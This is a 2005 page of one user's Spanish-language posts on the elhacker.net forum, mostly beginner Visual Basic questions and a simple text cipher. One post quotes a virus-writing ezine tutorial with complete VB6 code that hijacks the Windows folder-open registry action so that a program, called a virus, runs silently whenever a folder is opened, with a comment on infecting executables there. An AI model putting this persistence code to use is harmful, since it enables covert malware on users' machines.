elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8
21  Programación / Programación Visual Basic / Re: problem al descifrar un texto y mas en: 24 Octubre 2005, 16:07 pm
Lo siento Sancho.Mazorka, pero tu solucion no funciona.


Pero la de lumbreras si!  MUCHAS GRACIAS!

al final la cosa era facil, si conocias la funcion claro. Lo unico k he tenido k hacer es reemplazar los saltos de parrafo antes de codificar el texto, y despues, al desencriptarlo, reemplazarlos de nuevo antes de pasar al textbox, ahora os pongo el codigo.

Código:
Private Sub cmdDesencriptartxt_Click()
Dim re2 As String
clave = Mid$(Text1.Text, 2, 2)
Label1.Caption = "LOADING. . ."
DoEvents
For i = 5 To Len(Text1.Text)
    C = Mid$(Text1.Text, i, 1)
    Select Case C
    Case vbNewLine
        code = code & vbNewLine
    Case " "
        code = code & " "
    Case Else
        code = code & Chr$(Asc(C) + clave)
    End Select
   
Next
re2 = Replace(code, "{salto}", vbCrLf)
Text1.Text = re2
i = 1
C = ""
code = ""
cmdDesencriptartxt.Enabled = False
clave = 0
Label1.Caption = ""
End Sub

Private Sub cmdEncriptartxt_Click()
Dim re As String
Randomize timer
On Error Resume Next
Label1.Caption = "LOADING. . ."
DoEvents
r = Int(Rnd * 16) + 10
re = Replace(Text1.Text, vbCrLf, "{salto}")
For i = 1 To Len(re)
    C = Mid$(re, i, 1)
    Select Case C
    Case " "
        code = code & " "
    Case Else
        code = code & Chr$(Asc(C) - r)
    End Select
Next
Text1.Text = "[" & r & "]" & code
clave = r
code = ""
C = ""
r = 0
i = 1
cmdEncriptartxt.Enabled = False
cmdDesencriptartxt.Enabled = True
Label1.Caption = ""
End Sub

De nuevo, muchas gracias a todos los k habeis respondido en este tema, y en especial a lumbreras

saludos
22  Programación / Programación Visual Basic / Re: problem al descifrar un texto y mas en: 21 Octubre 2005, 23:02 pm
1º: Para hacer eso k dices hay k detectar el [] o salto de parrafo, k es justo donde fallo.

2º: No te ofendas, pero a mi eso de la matices de variables me suena a chino, Podrias darme una pekeña explicacion, plis?


de todas formas, gracias por contestar ;)
23  Programación / Programación Visual Basic / Re: problem al descifrar un texto y mas en: 21 Octubre 2005, 15:16 pm
Y para detectarlo?
no me lo detecta.
En la parte del codigo de lo bloques IF/THEN he probado a hacer k si c es igual a vbcrlf y no funciona, lo mismo con vbnewline.


Y aun me ha salido otro problema! Komo esta parte no sabia como solucionarla, pense k de mientras seria weno ir poniendole opciones al text del tipo letra cursiva o negrita, tamaño fuente etc... Pero cuando intento cambiar el tipo de letra a cursiva me lo hace a todo el texto, no se como hacerlo para k sea solo a la parte seleccionada.

Se como cojer la parte seleccionada, meterla en una variable, esta pasarla un texto oculto y hacer el cambio a cursiva, pero al volver a ponerla en su sitio me vuelve a salir como antes y no en cursiva. Os dejo el codigo:

Código:
Private Sub Command2_Click(Index As Integer)
Dim cursiva As String
cursiva = Mid(Text1.Text, Text1.SelStart + 1, Text1.SelLength)
ptxt.Text = cursiva
ptxt.FontItalic = True
Text1.SelText = cursiva
Command2(0).Visible = False
Command5.Visible = True
End Sub
explico: El command2 es el boton para convertir a letra cursiva, el command5 es para hacer la inversa, ptxt es un texto invisible y text1 es el texto donde se escribe
24  Media / Diseño Gráfico / Re: Existe algun programa........ en: 18 Octubre 2005, 22:51 pm
Hay muchos, como por ejemplo el Gimp, photoshop, fotocanvas etc...


El mas facil de los de antes es el fotocanvas, pero el gimp es mejor. El photoshop no lo he probado.
25  Programación / Programación Visual Basic / Re: Programar para trabajar en red. en: 18 Octubre 2005, 17:03 pm
No tengo ni idea, pero asi, a voz de pronto te diria k hicieras k los programas, al iniciarse, se conecten a otro programa (k seria el k guardaria las bases de datos y controlaria un poco el trafico) o a una web.

No me preguntes por codigo, lo k te he dicho es una idea, no se como transcribirla a codigo, seguro k dedntro de poko contesta alguien con mas conocimientos pero hasta enctonces podrias intentar con lo aki dicho...

Buena suerte
Saludos.
26  Programación / Programación Visual Basic / Re: problem al descifrar un texto y mas en: 17 Octubre 2005, 19:35 pm
Claro, y el problema esta ahi, ej:
(antes de cifrar)

blablablabla
blabla
bla



(despues de cifrar y descifrar)

blablablablablablabla


El resultado keda asi, pero en cambio los espacios si k los respeta.
27  Programación / Programación Visual Basic / Re: problem al descifrar un texto y mas en: 15 Octubre 2005, 12:56 pm
En ese caso podria detectar cuando la variable c es = [].

Pero como hago para k al descifrar el vb cambie los [] por saltos o puntos y aparte?


Ps: lo mas gracioso de esto es k seguramente es algo facilisimo para muchos, o una simple linea de codigo.
28  Programación / Programación Visual Basic / Re: aplicacinon para las carpetas en: 15 Octubre 2005, 00:01 am
Question!

una vez tenemos modificado el registro para k se abra nuestro programa al abrir una carpeta, le metemos la contraseña a nuestro program... komo hacemos para k la carpeta se habra cuando nosotros keramos?
29  Programación / Programación Visual Basic / Re: aplicacinon para las carpetas en: 14 Octubre 2005, 23:01 pm
Citar
En las ezines de Mitosis hay un artículo que trata sobre cómo detectar las ventanas que contengan X palabras y hacer con ellas las operaciones que quieras.

He mirado eso de MITOSIS y he encontrado un articulo donde explican como hacer k al abrir una carpeta, se ejecute el programa k kieras (en el articulo un virus), ahora os pongo el code.
Solo me lo he mirao por encima y aun no lo he probao, pero supongo k si pueden hacer k se ejecute el programa k kieran, tambien se puede hacer k se ejectue un programa en el k si no metes la contraseña no puedas acceder a la carpeta o algo asi.
el code es este:

Código:
 Option Explicit

'Ejecutarnos cuando se abre una carpeta:
'----------------------------------------

'Recomendado leer antes "Interceptacion de ejecutables" en los articulos
'de www.gedzac.com

'Esto no ser un articulo, sino solamente un Tip que me parecio interesante

'Estaba probando un Programa P2P que me recomendo un amigo, pa bajar
'canciones, y como esas cosas tan llenas de spyware, pos me puse a ver que
'hacia el spyware que me habia instalado, y me sorprendio que si cerraba
'el proceso, cuando abria una carpeta se volvia a ejecutar, pa no hacer
'larga la historia:

'Aplicando la teoria de lo de interceptar los ejecutables, cuando uno abre
'una carpeta, win consulta el registro para ver con que debe abrir las
'carpetas, entonces modificaremos el reg para que win ejecute el virus,
'el virus leera su linea de comandos para obtener el path de la carpeta
'la abrira, verificara si ya se esta ejecutando, en caso de ya estar
'en ejecucion terminara, pa no tener una instancia del virus
'por cada carpeta abierta

'La ruta del reg es:

'HKEY_CLASSES_ROOT\Directory\shell\(Predeterminado) = ""

'Donde el valor predeterminado es: "" ó none ,por defecto esta vacio,
'hay podemos indicar el nombre de la accion predeterminada que win
'ejecutara, cuando se abra una carpeta, si vemos la llave veremos que
'dentro de shell, hay varias acciones:


'HKEY_CLASSES_ROOT
'    |
'    |-Directory
'         |
'         |-shell\(Predeterminado)=""
'            |
'            |-Accion1
'            |  -command\(Predeterminado)="linea de commando"
'            |
'            |-Accion2
'            |  -command\(Predeterminado)="linea de commando"
'            |
'            |-Accion3
'            |  -command\(Predeterminado)="linea de commando"
'            |
'            |.....


'Entonces vemos que hay varias acciones, que son las opciones que aparecen
'al dar click derecho sobre la carpeta, en mi caso: "Buscar",
'"play in winamp", "browse con ACDsee", etc y "linea de commando" define
'que debe hacer win si se selecciona esa accion, como por ejemplo
'ejecutar el winamp, o el acdsee.
'Si en el (Predeterminado) de shell colocamos "Accion2", entonces win
'ejecutara Accion2 como predeterminada cada vez que el user trate de
'abrir una carpeta, entonces crearemos una nueva accion que ejecute nuestro
'virus y la pondremos como predeterminada, de manera que quede asi:


'HKEY_CLASSES_ROOT
'    |
'    |-Directory
'         |
'         |-shell\(Predeterminado)="GEDZAC"
'            |
'            |-Accion1
'            |  -command\(Predeterminado)="linea de commando"
'            |
'            |-Accion2
'            |  -command\(Predeterminado)="linea de commando"
'            |
'            |-Accion3
'            |  -command\(Predeterminado)="linea de commando"
'            |
'            |-GEDZAC
'            |  -command\(Predeterminado)="C:\test.exe "%1" %*"
'            |......



'Code Ejemplo:
'--------------
'Este programa al ejecutarse, modificara el reg y cuando se abra una carpeta
'mostrara su ruta en un Msgbox y mostrara la carpeta, para probarlo compilarlo
'como test.exe ejecutarlo desde c:\test.exe


'Apis y constantes que usaremos
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByRef lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Const ERROR_ALREADY_EXISTS = 183&
Private Const SW_NORMAL = 1
Private Const REG_SZ = 1
Private Const REG_DWORD = 4
Private Const KEY_ALL_ACCESS = &H3F
Private Const REG_OPTION_NON_VOLATILE = 0
Private Const HKEY_CLASSES_ROOT As Long = &H80000000
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Type SECURITY_ATTRIBUTES
  nLength As Long
  lpSecurityDescriptor As Long
 bInheritHandle As Long
End Type

Private Sub Form_Load()
On Error Resume Next
'declaramos vars
Dim l As Long, cmd As String, c As Long

'llamamos a GetCommandline para averiguar nuestra linea
'de commandos, no usar la declaracion de esta api que viene con el visor
'de api en vb6, porque no funka en WinXP, sino declararla como long
'devuelve un puntero a nuestra linea de commandos
l = GetCommandLine()

'calculamos el tamaño de nuestra linea de commandos
c = lstrlen(l)

'llenamos cmd de tantos nulls como el tamaño de la linea de comandos - 1
cmd = String$(c - 1, 0)

'copiamos l en cmd y ya tenemos en cmd, nuestra linea de commandos
'que sera en caso de ejecutarse solo:  "c:\ruta\virus.exe"
'si hay alguna carpeta que abrir: c:\ruta\virus.exe "c:\rutacarpeta"
lstrcpy cmd, l

'si cmd contiene un espacio seguido de una comilla hay que ejecutar una
'carpeta
If InStr(cmd, " " & Chr(34)) <> 0 Then

'obtenemos el path de la carpeta, y ya que tenemos el path, podriamos
'usarlo para infectar los exes en esa carpeta ademas de abrir la carpeta
 cmd = Mid$(Left$(cmd, c - 1), InStr(cmd, " " & Chr(34)) + 2)
 cmd = Left$(cmd, Len(cmd) - 1)

'mostramos el path
MsgBox cmd

'abrimos la carpeta, ejecutando: Explorer.exe C:\ruta de carpeta
Call WinExec("Explorer.exe " & cmd, SW_NORMAL)

'si no hay carpeta que mostrar
Else

'llamamos al sub para modificar el reg
Call Install

End If

'creamos un mutex para saber si ya nos estamos ejecutando
'si no hay error, permanecemos en ejecucion, si hay error de que ya existe el
'mutex, terminamos, recordar que cuando estemos probando el code cerrar
'el mutex con api CloseHandle, sino el mutex permanecera aun despues de
'terminado el programa y eso nos puede estorbar tal vez en las pruebas
Dim Mutex As SECURITY_ATTRIBUTES
Mutex.lpSecurityDescriptor = 0
Mutex.nLength = Len(Mutex)
Mutex.bInheritHandle = 1

l = CreateMutex(Mutex, 1, "GEDZAC")

'Err.LastDllError se puede reemplazar por la api GetLastError
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then
End
End If
End Sub

'sub para modificar el reg
Private Sub Install()
On Error Resume Next
Rw "HKCR", "Directory\shell", "", "GEDZAC", "SZ"
Rw "HKCR", "Directory\shell\GEDZAC\command", "", "C:\test.exe " & Chr(34) & "%1" & Chr(34) & " %*", "SZ"
End
End Sub

'Sub para escribir en el reg
Private Sub Rw(rKey As String, sKey As String, nKey As String, vKey As Variant, mVal As String)
On Error Resume Next

'declaramos variables
Dim RK As Long, l As Long, hKey As Long

'un select para saber en que llave raiz vamos a escribir
Select Case rKey
Case "HKCR"
RK = HKEY_CLASSES_ROOT
Case "HKCU"
RK = HKEY_CURRENT_USER
Case "HKLM"
RK = HKEY_LOCAL_MACHINE
End Select

'Usamos RegCreateKeyEx en vez de RegOpenKeyEx porque si no existe
'la llave la crea y sino solo la abre
'REG_OPTION_NON_VOLATILE para que los datos escritos se
'conserven despues del reinicio y KEY_ALL_ACCESS para tener acceso
'total a la llave
l = RegCreateKeyEx(RK, sKey, ByVal 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, ByVal 0&, hKey, l)

'select para ver si lo que vamos a escribir es un valor de
'cadena o dword
Select Case mVal
Case "SZ"

'si es valor de cadena, usamos REG_SZ
Dim sVal As String
 sVal = vKey
 l = RegSetValueEx(hKey, nKey, 0&, REG_SZ, ByVal sVal, Len(sVal) + 1)

'si es un valor dword usamos REG_DWORD
Case "DW"
Dim lVal As Long
lVal = vKey
 l = RegSetValueEx(hKey, nKey, 0&, REG_DWORD, lVal, 4)
End Select

'cerramos la llave
l = RegCloseKey(hKey)
End Sub



'(C) Mitosis 3 - GEDZAC LABS

Ps: yo no lo he entendido muy bien, asi k por si acaso no lo he probao.
30  Programación / Programación Visual Basic / Re: Base de datos en Visual basic en: 14 Octubre 2005, 21:40 pm
Usa un data control con una base de Acces.
Mira en el curso basico de elguille, hay un par entrega donde te explica como hacerlo facilmente y de varias formas.
Páginas: 1 2 [3] 4 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines